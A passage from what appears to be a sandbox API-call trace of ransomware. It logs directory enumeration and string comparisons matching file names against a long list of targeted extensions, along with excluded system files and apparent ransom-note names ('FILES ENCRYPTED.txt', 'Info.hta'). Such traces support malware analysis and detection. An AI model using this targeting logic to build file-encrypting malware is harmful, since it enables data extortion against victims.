lpFileName="C:\\*", lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 0x7f5158 [0157.975] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0157.975] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0157.975] lstrlenW (lpString="$GetCurrent") returned 11 [0157.975] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0157.975] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0157.976] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0157.976] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0x7f5558 [0157.977] FindNextFileW (in: hFindFile=0x7f5558, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0157.977] FindNextFileW (in: hFindFile=0x7f5558, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0157.977] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0157.977] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0157.977] lstrlenW (lpString="Logs") returned 4 [0157.977] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0157.977] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0157.978] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0157.978] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5218 [0157.986] FindNextFileW (in: hFindFile=0x7f5218, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0157.986] FindNextFileW (in: hFindFile=0x7f5218, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0157.986] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0157.986] lstrlenW (lpString=".1cd") returned 4 [0157.986] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0157.986] lstrlenW (lpString=".3ds") returned 4 [0157.986] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0157.986] lstrlenW (lpString=".3fr") returned 4 [0157.986] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0157.986] lstrlenW (lpString=".3g2") returned 4 [0157.986] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0157.986] lstrlenW (lpString=".3gp") returned 4 [0157.986] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0157.986] lstrlenW (lpString=".7z") returned 3 [0157.986] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0157.986] lstrlenW (lpString=".accda") returned 6 [0157.986] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0157.986] lstrlenW (lpString=".accdb") returned 6 [0157.986] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0157.986] lstrlenW (lpString=".accdc") returned 6 [0157.986] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0157.986] lstrlenW (lpString=".accde") returned 6 [0157.986] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0157.987] lstrlenW (lpString=".accdt") returned 6 [0157.987] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0157.987] lstrlenW (lpString=".accdw") returned 6 [0157.987] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0157.987] lstrlenW (lpString=".adb") returned 4 [0157.987] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0157.987] lstrlenW (lpString=".adp") returned 4 [0157.987] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0157.987] lstrlenW (lpString=".ai") returned 3 [0157.987] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0157.987] lstrlenW (lpString=".ai3") returned 4 [0157.987] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0157.987] lstrlenW (lpString=".ai4") returned 4 [0157.987] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0157.987] lstrlenW (lpString=".ai5") returned 4 [0157.987] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0157.987] lstrlenW (lpString=".ai6") returned 4 [0157.987] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0157.987] lstrlenW (lpString=".ai7") returned 4 [0157.987] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0157.987] lstrlenW (lpString=".ai8") returned 4 [0157.987] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0157.987] lstrlenW (lpString=".anim") returned 5 [0157.987] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0157.987] lstrlenW (lpString=".arw") returned 4 [0157.987] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".as") returned 3 [0157.988] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0157.988] lstrlenW (lpString=".asa") returned 4 [0157.988] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".asc") returned 4 [0157.988] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".ascx") returned 5 [0157.988] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0157.988] lstrlenW (lpString=".asm") returned 4 [0157.988] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".asmx") returned 5 [0157.988] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0157.988] lstrlenW (lpString=".asp") returned 4 [0157.988] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".aspx") returned 5 [0157.988] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0157.988] lstrlenW (lpString=".asr") returned 4 [0157.988] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".asx") returned 4 [0157.988] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".avi") returned 4 [0157.988] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".avs") returned 4 [0157.988] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".backup") returned 7 [0157.988] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0157.988] lstrlenW (lpString=".bak") returned 4 [0157.988] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".bay") returned 4 [0157.988] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".bd") returned 3 [0157.988] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0157.988] lstrlenW (lpString=".bin") returned 4 [0157.988] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0157.988] lstrlenW (lpString=".bmp") returned 4 [0157.989] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".bz2") returned 4 [0157.989] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".c") returned 2 [0157.989] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0157.989] lstrlenW (lpString=".cdr") returned 4 [0157.989] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".cer") returned 4 [0157.989] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".cf") returned 3 [0157.989] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0157.989] lstrlenW (lpString=".cfc") returned 4 [0157.989] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".cfm") returned 4 [0157.989] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".cfml") returned 5 [0157.989] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0157.989] lstrlenW (lpString=".cfu") returned 4 [0157.989] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".chm") returned 4 [0157.989] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".cin") returned 4 [0157.989] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".class") returned 6 [0157.989] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0157.989] lstrlenW (lpString=".clx") returned 4 [0157.989] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".config") returned 7 [0157.989] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0157.989] lstrlenW (lpString=".cpp") returned 4 [0157.989] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".cr2") returned 4 [0157.989] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0157.989] lstrlenW (lpString=".crt") returned 4 [0157.989] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".crw") returned 4 [0157.990] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".cs") returned 3 [0157.990] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0157.990] lstrlenW (lpString=".css") returned 4 [0157.990] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".csv") returned 4 [0157.990] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".cub") returned 4 [0157.990] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".dae") returned 4 [0157.990] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".dat") returned 4 [0157.990] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".db") returned 3 [0157.990] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0157.990] lstrlenW (lpString=".dbf") returned 4 [0157.990] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".dbx") returned 4 [0157.990] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".dc3") returned 4 [0157.990] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".dcm") returned 4 [0157.990] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".dcr") returned 4 [0157.990] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".der") returned 4 [0157.990] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".dib") returned 4 [0157.990] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".dic") returned 4 [0157.990] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0157.990] lstrlenW (lpString=".dif") returned 4 [0157.990] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0157.991] lstrlenW (lpString=".divx") returned 5 [0157.991] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0157.991] lstrlenW (lpString=".djvu") returned 5 [0157.991] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0157.991] lstrlenW (lpString=".dng") returned 4 [0157.991] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0157.991] lstrlenW (lpString=".doc") returned 4 [0157.991] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0157.991] lstrlenW (lpString=".docm") returned 5 [0157.991] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0157.991] lstrlenW (lpString=".docx") returned 5 [0157.991] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0157.991] lstrlenW (lpString=".dot") returned 4 [0157.991] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0157.991] lstrlenW (lpString=".dotm") returned 5 [0157.991] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0157.991] lstrlenW (lpString=".dotx") returned 5 [0157.991] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0157.991] lstrlenW (lpString=".dpx") returned 4 [0157.991] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0157.991] lstrlenW (lpString=".dqy") returned 4 [0157.991] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0157.991] lstrlenW (lpString=".dsn") returned 4 [0157.991] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0157.991] lstrlenW (lpString=".dt") returned 3 [0157.991] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0157.991] lstrlenW (lpString=".dtd") returned 4 [0157.991] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0157.991] lstrlenW (lpString=".dwg") returned 4 [0157.991] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0157.991] lstrlenW (lpString=".dwt") returned 4 [0157.991] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0157.991] lstrlenW (lpString=".dx") returned 3 [0157.991] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0157.991] lstrlenW (lpString=".dxf") returned 4 [0157.991] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".edml") returned 5 [0157.992] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0157.992] lstrlenW (lpString=".efd") returned 4 [0157.992] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".elf") returned 4 [0157.992] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".emf") returned 4 [0157.992] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".emz") returned 4 [0157.992] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".epf") returned 4 [0157.992] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".eps") returned 4 [0157.992] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".epsf") returned 5 [0157.992] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0157.992] lstrlenW (lpString=".epsp") returned 5 [0157.992] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0157.992] lstrlenW (lpString=".erf") returned 4 [0157.992] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".exr") returned 4 [0157.992] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".f4v") returned 4 [0157.992] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".fido") returned 5 [0157.992] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0157.992] lstrlenW (lpString=".flm") returned 4 [0157.992] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".flv") returned 4 [0157.992] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".frm") returned 4 [0157.992] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".fxg") returned 4 [0157.992] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0157.992] lstrlenW (lpString=".geo") returned 4 [0157.993] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".gif") returned 4 [0157.993] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".grs") returned 4 [0157.993] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".gz") returned 3 [0157.993] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0157.993] lstrlenW (lpString=".h") returned 2 [0157.993] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0157.993] lstrlenW (lpString=".hdr") returned 4 [0157.993] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".hpp") returned 4 [0157.993] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".hta") returned 4 [0157.993] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".htc") returned 4 [0157.993] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".htm") returned 4 [0157.993] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".html") returned 5 [0157.993] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0157.993] lstrlenW (lpString=".icb") returned 4 [0157.993] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".ics") returned 4 [0157.993] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".iff") returned 4 [0157.993] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".inc") returned 4 [0157.993] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0157.993] lstrlenW (lpString=".indd") returned 5 [0157.993] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0157.993] lstrlenW (lpString=".ini") returned 4 [0157.993] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".iqy") returned 4 [0157.994] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".j2c") returned 4 [0157.994] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".j2k") returned 4 [0157.994] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".java") returned 5 [0157.994] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0157.994] lstrlenW (lpString=".jp2") returned 4 [0157.994] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".jpc") returned 4 [0157.994] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".jpe") returned 4 [0157.994] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".jpeg") returned 5 [0157.994] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0157.994] lstrlenW (lpString=".jpf") returned 4 [0157.994] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".jpg") returned 4 [0157.994] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".jpx") returned 4 [0157.994] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".js") returned 3 [0157.994] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0157.994] lstrlenW (lpString=".jsf") returned 4 [0157.994] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0157.994] lstrlenW (lpString=".json") returned 5 [0157.994] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0157.995] lstrlenW (lpString=".jsp") returned 4 [0157.995] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0157.995] lstrlenW (lpString=".kdc") returned 4 [0157.995] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0157.995] lstrlenW (lpString=".kmz") returned 4 [0157.995] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0157.995] lstrlenW (lpString=".kwm") returned 4 [0157.995] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0157.995] lstrlenW (lpString=".lasso") returned 6 [0157.995] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0157.995] lstrlenW (lpString=".lbi") returned 4 [0157.995] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0157.995] lstrlenW (lpString=".lgf") returned 4 [0157.995] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0157.995] lstrlenW (lpString=".lgp") returned 4 [0157.995] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0157.995] lstrlenW (lpString=".log") returned 4 [0157.995] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0157.995] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0157.995] lstrlenW (lpString=".carcn") returned 6 [0157.995] lstrcmpiW (lpString1=".carcn", lpString2="66.log") returned -1 [0157.995] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0157.995] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0157.995] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0157.995] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0157.995] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0157.995] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0157.995] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0157.995] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0157.996] lstrcmpiW (lpString1="chrome64b.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0157.996] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0157.996] FindNextFileW (in: hFindFile=0x7f5218, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0157.996] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0157.996] lstrlenW (lpString=".1cd") returned 4 [0157.996] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0157.996] lstrlenW (lpString=".3ds") returned 4 [0157.996] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0157.996] lstrlenW (lpString=".3fr") returned 4 [0157.996] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0157.996] lstrlenW (lpString=".3g2") returned 4 [0157.996] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0157.996] lstrlenW (lpString=".3gp") returned 4 [0157.996] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0157.996] lstrlenW (lpString=".7z") returned 3 [0157.996] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0157.996] lstrlenW (lpString=".accda") returned 6 [0157.996] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0157.996] lstrlenW (lpString=".accdb") returned 6 [0157.996] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0157.996] lstrlenW (lpString=".accdc") returned 6 [0157.996] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0157.996] lstrlenW (lpString=".accde") returned 6 [0157.996] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0157.996] lstrlenW (lpString=".accdt") returned 6 [0157.996] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0157.996] lstrlenW (lpString=".accdw") returned 6 [0157.996] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0157.997] lstrlenW (lpString=".adb") returned 4 [0157.997] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".adp") returned 4 [0157.997] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".ai") returned 3 [0157.997] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0157.997] lstrlenW (lpString=".ai3") returned 4 [0157.997] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".ai4") returned 4 [0157.997] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".ai5") returned 4 [0157.997] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".ai6") returned 4 [0157.997] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".ai7") returned 4 [0157.997] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".ai8") returned 4 [0157.997] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".anim") returned 5 [0157.997] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0157.997] lstrlenW (lpString=".arw") returned 4 [0157.997] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".as") returned 3 [0157.997] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0157.997] lstrlenW (lpString=".asa") returned 4 [0157.997] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".asc") returned 4 [0157.997] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0157.997] lstrlenW (lpString=".ascx") returned 5 [0157.997] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0157.997] lstrlenW (lpString=".asm") returned 4 [0157.998] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".asmx") returned 5 [0157.998] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0157.998] lstrlenW (lpString=".asp") returned 4 [0157.998] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".aspx") returned 5 [0157.998] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0157.998] lstrlenW (lpString=".asr") returned 4 [0157.998] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".asx") returned 4 [0157.998] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".avi") returned 4 [0157.998] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".avs") returned 4 [0157.998] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".backup") returned 7 [0157.998] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0157.998] lstrlenW (lpString=".bak") returned 4 [0157.998] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".bay") returned 4 [0157.998] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".bd") returned 3 [0157.998] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0157.998] lstrlenW (lpString=".bin") returned 4 [0157.998] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".bmp") returned 4 [0157.998] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".bz2") returned 4 [0157.998] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0157.998] lstrlenW (lpString=".c") returned 2 [0157.999] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0157.999] lstrlenW (lpString=".cdr") returned 4 [0157.999] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0157.999] lstrlenW (lpString=".cer") returned 4 [0157.999] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0157.999] lstrlenW (lpString=".cf") returned 3 [0157.999] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0157.999] lstrlenW (lpString=".cfc") returned 4 [0157.999] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0157.999] lstrlenW (lpString=".cfm") returned 4 [0157.999] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0157.999] lstrlenW (lpString=".cfml") returned 5 [0157.999] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0157.999] lstrlenW (lpString=".cfu") returned 4 [0157.999] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0157.999] lstrlenW (lpString=".chm") returned 4 [0157.999] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0157.999] lstrlenW (lpString=".cin") returned 4 [0157.999] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0157.999] lstrlenW (lpString=".class") returned 6 [0157.999] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0157.999] lstrlenW (lpString=".clx") returned 4 [0157.999] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0157.999] lstrlenW (lpString=".config") returned 7 [0157.999] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0157.999] lstrlenW (lpString=".cpp") returned 4 [0157.999] lstrcmpiW (lpString1=".cpp", 